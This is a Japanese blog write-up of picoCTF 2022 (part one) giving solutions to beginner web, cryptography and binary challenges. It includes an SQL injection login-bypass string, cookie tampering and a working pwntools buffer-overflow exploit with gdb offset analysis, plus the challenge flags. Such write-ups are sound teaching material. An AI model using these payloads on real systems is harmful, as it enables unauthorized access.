テクノロジー

picoCTF 2022のWriteup(前編)

2022年3月15日17時00分(UTC)〜2022年3月29日20時00分(UTC)に開催されたpicoCTF 2022にチームとして参加しました。

本記事はそのWriteupとなります。

概要

CTF(Capture the Flag)とは情報セキュリティの知識を使うセキュリティコンテンストの一つです。いくつかのジャンルに分かれており、例えば『リバースエンジニアリングによって実行ファイルの脆弱性をつく』だとか『Webアプリの脆弱性をつく』だとか『ファイル内に隠された情報を抜き取る』だとか、そういった攻撃をして隠された『Flag』を手に入れる事を行うコンテストです。

様々なコンテストが世界中で開催されており、日本では12月に本戦が開催されるSECCONが有名となっています。

今回、その中でもより初心者向けに特化したpicoCTFに参加しました。各問題についてのwriteupを書きたいと思います。

picoCTFについて

picoCTFは米国カーネギーメロン大学主催の中高生向けCTFとなっています。大学生や大人も参加可能となっていて、中高生向けには賞金があります。

出題されるジャンルとしては以下の5つとなっていて、総合得点は14600です(問題数がかなり多い)。

  • Web Exploitation
  • Cryptography
  • Reverse Engineering
  • Forensics
  • Binary Exploitation

コンテスト自体は終了していますが、picoCTFに登録することでいつでも回答可能ですので、興味があれば解いてみると良いかと思います!

結果は7794チーム中1007位でした!

2022-03-30 10.01.02 play.picoctf.org 68660d9d1917.png
(解いた問題割合)

2022-03-30 10.01.16 play.picoctf.org fd7e02dd8792.png

流れ

(日本時間3月28日午後2時の出来事)

メンバー

メンバー 紹介(筆者の偏見が混じっています)
S.Hさん image.png 絶対的エース
S.Rさん image.png マスター・オブ・セキュア
M.W(私) ひよっこ

Writeup

Web Exploitation

Includes

jsファイルとcssファイルのコメントとして含まれています。

image.png

image.png

Inspect HTML

こちらはコメントに。

image.png

Local Authority

非常にセキュアなログイン処理をかいくぐる必要があります。

image.png

Search source

CSSファイルのコメントとして埋め込まれています。

image.png

Forbidden Paths

これを、
image.png
こうして、
image.png
こうです。
image.png

Power Cookie

isAdmin=0というCookieが渡されるので、1に書き換えて再度アクセスします。

image.png

Roboto Sans

/robots.txtに意味深な文字列があります。
image.png

Base64デコードしたらパスが出てきて、そこにアクセスしたらflagでした。
image.png

image.png

Secrets

ディレクトリを掘り進んでいくと出てきます。

image.png

SQL Direct

PostgreSQLに接続してテーブルの情報を確認するだけです。PostgreSQLはあまり触らないので、MySQLとのコマンドの違いにちょっと苦戦しました。

SQLiLite

SQLインジェクションで認証をバイパスできます。

image.png

<pre>usernamse: &#039; OR 1-1--
password:
SQL query: SELECT * FROM users WHERE name=&#039; OR 1=1--&#039; AND password=&#039;&#039;
</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p>

Cryptography

basic-mod1

image.png

ダウンロードした message.txt の中身は

202 137 390 235 114 369 198 110 350 396 390 383 225 258 38 291 75 324 401 142 288 397

となっています。

問題分から、message.txt に記載された数字をそれぞれ37で割った余り(0~36)を、A~Z、0-9、_ に置き換えればよさそうです。

以下の python3 で以下のとおり実行してみます。

>>> cipher_text = open("message.txt").read()
>>> "".join(["ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[int(c)%37] for c in cipher_text.split()])
'R0UND_N_R0UND_B6B25531'

復号化されたメッセージ "R0UND_N_R0UND_B6B25531" が分かりました。
flag は picoCTF{R0UND_N_R0UND_B6B25531} となります。

basic-mod2

image.png

ダウンロードした message.txt の中身は以下のとおりです。

104 85 69 354 344 50 149 65 187 420 77 127 385 318 133 72 206 236 206 83 342 206 370

基本的には basic_mod1 と同じですが、41で割った余りの法41のモジュラ逆数を利用することが異なります。

整数xの法41のモジュラ逆数とは、x*n%41==1 となる整数Nのことです。
Pythonでは以下で関数定義します。

>>> def inverse41(x):
...   for i in range(41):
...     if x*i%41==1:
...       return i
...   return 0

確かに問題なさそうです。

>>> inverse41(10)*10%41
1
>>> inverse41(31)*31%41
1

あとは、basic_mod1と同様に解けます。

>>> cipher_text = open("message.txt").read()
>>> "".join([" ABCDEFGHJILKMNOPQRSTUVWXYZ0123456789_"[inverse41(int(c)%41)] for c in cipher_text.split()])
'1NV3R53KY_H4RD_DADAACAA'

flagは picoCTF{1NV3R53KY_H4RD_DADAACAA} となります。

credstuff

image.png

ダウンロードした leak.tar を展開すると、passwords.txt と usernames.txt が出力されます。

$ find leak -ls
  1562440      4 drwxr-xr-x   2 suzuki.hiroaki suzuki.hiroaki     4096 Mar 15 06:29 leak
  1562441     16 -rwxr-xr-x   1 suzuki.hiroaki suzuki.hiroaki    13130 Mar 15 06:29 leak/passwords.txt
  1562442      8 -rwxr-xr-x   1 suzuki.hiroaki suzuki.hiroaki     7531 Mar 15 06:29 leak/usernames.txt

505人のユーザーのユーザー名とパスワードがそれぞれ、別ファイル usernames.txt と passwords.txt に保管されており、ユーザー cultiris のパスワードを求めればよさそうです。

$ head -n 3 leak/usernames.txt 
engineerrissoles
icebunt
fruitfultry
$ head -n 3 leak/passwords.txt 
CMPTmLrgfYCexGzJu6TbdGwZa
GK73YKE2XD2TEnvJeHRBdfpt2
UukmEk5NCPGUSfs5tGWPK26gG
$ wc -l leak/usernames.txt leak/passwords.txt
  505 leak/usernames.txt
  505 leak/passwords.txt
 1010 total

grep で cultiris の存在する行を求めて、対応するパスワードを取得します。

$ grep -n cultiris leak/usernames.txt
378:cultiris
$ head -n 378 leak/passwords.txt | tail -n 1
cvpbPGS{P7e1S_54I35_71Z3}

パスワードは Rot13 で暗号化されているようです。
phpを利用して復号化します。

$ php -r 'echo str_rot13("cvpbPGS{P7e1S_54I35_71Z3}");'
picoCTF{C7r1F_54V35_71M3}

flag は picoCTF{C7r1F_54V35_71M3} となります。

morse-code

image.png

ダウンロードファイルは morse_chal.wav です。
音楽プレイヤーで再生してみると、問題タイトルどおりモールス信号っぽいです。

解読のため、音声編集ファイルで開きます。

image.png

モールス信号は

.-- .... ....- --... / .... ....- --... .... / ----. ----- -.. / .-- ..--- ----- ..-  ----. .... --...

これを変換サービスを用いて変換します (https://morsecode.world/international/translator.html)
結果は WH47 H47H 90D W20U9H7 となりました。

flagは picoCTF{WH47_H47H_90D_W20U9H7} となります。

substitution0

image.png

ダウンロードした message.txt は以下のとおりです。

QWITJSYHXCNDFERMUKGOPVALBZ 

Hjkjpmre Djykqet qkrgj, axoh q ykqvj qet goqojdb qxk, qet wkrpyho fj ohj wjjodj
skrf q ydqgg iqgj xe ahxih xo aqg jeidrgjt. Xo aqg q wjqpoxspd giqkqwqjpg, qet, qo
ohqo oxfj, penerae or eqopkqdxgog—rs irpkgj q ykjqo mkxzj xe q gixjeoxsxi mrxeo
rs vxja. Ohjkj ajkj oar krpet wdqin gmrog ejqk rej jlokjfxob rs ohj wqin, qet q
drey rej ejqk ohj rohjk. Ohj giqdjg ajkj jlijjtxeydb hqkt qet ydrggb, axoh qdd ohj
qmmjqkqeij rs wpkexghjt yrdt. Ohj ajxyho rs ohj xegjio aqg vjkb kjfqknqwdj, qet,
oqnxey qdd ohxeyg xeor iregxtjkqoxre, X irpdt hqktdb wdqfj Cpmxojk srk hxg rmxexre
kjgmjioxey xo.

Ohj sdqy xg: mxirIOS{5PW5717P710E_3V0DP710E_03055505}

どうやら、単純な換字式暗号のようです。

先頭行の QWITJSYHXCNDFERMUKGOPVALBZ が A~Zの文字に対応していそうです。

文字をテーブルに従って変換する関数を定義します。

>>> def convert(c):
...   if 'a' <= c <= 'z': return convert(c.upper()).lower()
...   table = 'QWITJSYHXCNDFERMUKGOPVALBZ'
...   if c in table: return chr(table.index(c) + 65)
...   return c

変換関数を用いて暗号文を解読します。

>>> cipher_text = open("message.txt").read()
>>> print("".join(convert(c) for c in cipher_text))
ABCDEFGHIJKLMNOPQRSTUVWXYZ 

Hereupon Legrand arose, with a grave and stately air, and brought me the beetle
from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at
that time, unknown to naturalists—of course a great prize in a scientific point
of view. There were two round black spots near one extremity of the back, and a
long one near the other. The scales were exceedingly hard and glossy, with all the
appearance of burnished gold. The weight of the insect was very remarkable, and,
taking all things into consideration, I could hardly blame Jupiter for his opinion
respecting it.

The flag is: picoCTF{5UB5717U710N_3V0LU710N_03055505}

flagは picoCTF{5UB5717U710N_3V0LU710N_03055505} となります。

Reverse Engineering

buffer overflow 1

Description
Control the return address
Now we're cooking! You can overflow the buffer and return to the flag function in the program.
You can view source here. And connect with it using nc saturn.picoctf.net 60476

タイトル通りバッファーオーバーフローを狙う問題です。配布されている実行ファイルを実行すると、以下のようになります。どうやら入力文字列を受け取ると文字列とリターンアドレスが表示されるようです。

maz-picoctf@webshell:~/bof1$ ./vuln 
Please enter your string: 
hogehoge
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
maz-picoctf@webshell:~/bof1$ 

やたらめったら長く入力すると、リターンアドレスが変わっているのが確認できます。バッファーオーバーフローしてそうです。

maz-picoctf@webshell:~/bof1$ ./vuln 
Please enter your string: 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Okay, time to return... Fingers Crossed... Jumping to 0x61616161
Segmentation fault (core dumped)
maz-picoctf@webshell:~/bof1$ 

ソースコードは下記になります。

//vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

getsは入力長を制限できないため buf[BUFSIZE];を超えた入力を受け付けてしまう脆弱性があります。
よって戦略としては、getsに対してバッファーオーバーフローを発生させ、win()関数のアドレスを指定することでwin()関数をコールしフラグを入手することになりそうです。

何桁の入力でオーバーフローするか特定します。

maz-picoctf@webshell:~/bof1$ gdb vuln
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ run
Starting program: /home/maz-picoctf/bof1/vuln 
warning: Error disabling address space randomization: Operation not permitted
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414641

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0xffffffff 
EDX: 0x41 ('A')
ESI: 0xf7f22000 --> 0x1ead6c 
EDI: 0xf7f22000 --> 0x1ead6c 
EBP: 0x41304141 ('AA0A')
ESP: 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0004| 0xffb13c64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0008| 0xffb13c68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0012| 0xffb13c6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0016| 0xffb13c70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0020| 0xffb13c74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0024| 0xffb13c78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
0028| 0xffb13c7c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto 0x41414641
1094796865 found at offset: 44
gdb-peda$ Aborted (core dumped)
maz-picoctf@webshell:~/bof1$  

gdb-pedaで確認したところ44桁でオーバーフローしそうです。
以上を受けてexploitを作成します。

# exploit.py
from pwn import *

FILE = "./vuln"
LIBC = ""
HOST = "saturn.picoctf.net"
PORT = 60476

def exploit(con, elf, libc, rop):

    win_symbols = elf.symbols["win"]
    log.info("win symbol: {}".format(hex(win_symbols)))

    offset = 44
    payload = b"A" * offset
    payload += pack(win_symbols)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    # context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()
maz-picoctf@webshell:~/bof1$ python exploit.py REMOTE
[+] Opening connection to saturn.picoctf.net on port 60476: Done
[*] '/home/maz-picoctf/bof1/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Loaded 10 cached gadgets for './vuln'
[*] win symbol: 0x80491f6
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'
[*] Switching to interactive mode
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_2e53b270}[*] Got EOF while reading in interactive

flag: picoCTF{addr3ss3s_ar3_3asy_2e53b270}

参考: https://tsalvia.hatenablog.com/entry/2019/11/10/050000#OneShot_OneKillPwnable

後編へ続く・・

picoCTF 2022のWriteup(後編)

※サムネ画像ロゴは『picoCTF』より引用

※本記事は2022年06月時点の内容です。

テクノロジーの記事一覧
タグ一覧
TOPへ戻る